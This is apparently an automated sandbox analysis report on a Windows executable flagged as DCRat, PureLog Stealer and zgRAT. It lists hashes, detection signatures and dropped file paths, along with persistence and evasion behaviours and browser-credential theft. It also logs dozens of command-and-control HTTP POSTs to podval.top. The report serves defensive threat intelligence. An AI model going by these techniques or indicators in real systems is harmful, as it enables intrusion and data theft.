Windows Analysis Report
62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

Overview

General Information

Sample name:	62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Analysis ID:	1467031
MD5:	6667f954763eeacf7effcf5a5c25e695
SHA1:	6db1fba1cd1181b921cdadeba24c69cd680be825
SHA256:	62b1bf60394248d2c743ec6df0935d58e5009c9e04aab52da72ad712a57597b4
Tags:	DCRatexe
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates autostart registry keys with suspicious names

Creates multiple autostart registry keys

Creates processes via WMI

Drops executables to the windows directory (C:\Windows) and starts them

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\FUSHtkHk.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Recovery\llflCdrMcgGB.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\jjSkKJFG.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Recovery\llflCdrMcgGB.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\PDlWdMMS.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\WAeZ9wWpbS.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\rUKsZmvt.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	ReversingLabs: Detection: 72%
Source: C:\Program Files\7-Zip\Lang\upfc.exe	ReversingLabs: Detection: 72%
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	ReversingLabs: Detection: 72%
Source: C:\Recovery\llflCdrMcgGB.exe	ReversingLabs: Detection: 72%
Source: C:\Users\user\Desktop\PDlWdMMS.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\rUKsZmvt.log	ReversingLabs: Detection: 70%
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	ReversingLabs: Detection: 72%

Multi AV Scanner detection for submitted file

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

ReversingLabs: Detection: 72%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Joe Sandbox ML: detected
Source: C:\Recovery\llflCdrMcgGB.exe	Joe Sandbox ML: detected
Source: C:\Recovery\llflCdrMcgGB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\PDlWdMMS.log	Joe Sandbox ML: detected
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\wlyrJHCD.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\AHphtSeX.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rUKsZmvt.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

Joe Sandbox ML: detected

Uses 32bit PE files

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Directory created: C:\Program Files\7-Zip\Lang\upfc.exe			Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Directory created: C:\Program Files\7-Zip\Lang\ea1d8f6d871115			Jump to behavior

Source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: upfc.exe, 00000011.00000002.2534120131.000000001C7E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 6C:\Users\user\AppData\Local\Temp\k1wttop3\k1wttop3.pdb source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000000.00000002.1298963270.00000000030A6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 6C:\Users\user\AppData\Local\Temp\pb5w2chy\pb5w2chy.pdb source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, 00000000.00000002.1298963270.00000000030A6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: upfc.exe, 00000011.00000002.2534120131.000000001C7E3000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Renamed to system file: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to behavior

Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	File opened: C:\Users\user	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.10:49707 -> 188.114.97.3:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.10:49785 -> 188.114.97.3:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.10:49830 -> 188.114.97.3:80

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1756Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 154732Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1748Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 500Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 2048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 500Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
